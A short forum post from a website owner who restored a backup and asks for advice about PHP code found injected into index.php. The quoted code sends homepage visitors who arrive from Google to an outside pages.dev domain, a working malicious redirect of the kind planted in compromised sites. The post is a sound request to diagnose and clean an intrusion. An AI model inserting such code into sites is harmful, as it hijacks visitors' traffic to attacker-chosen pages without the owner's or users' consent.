Hi, I restored a backup of my website and now it works. Matching the not-working version with the original one, I noticed many differences.
This is the original root folder:
This is the not-working version:
Looking at index.php code I noticed this lines added:
<?php
// Hanya cek homepage
if ($_SERVER['REQUEST_URI'] === '/' && empty($_SERVER['QUERY_STRING'])) {
// Cek referer
if (isset($_SERVER['HTTP_REFERER'])) {
// Jika referer mengandung "google" (klik dari Google)
if (strpos($_SERVER['HTTP_REFERER'], 'google') !== false) {
header("Location: https://diglosiaunmul.pages.dev/");
exit;
}
}
}
?>
What do you suggest? Thanks

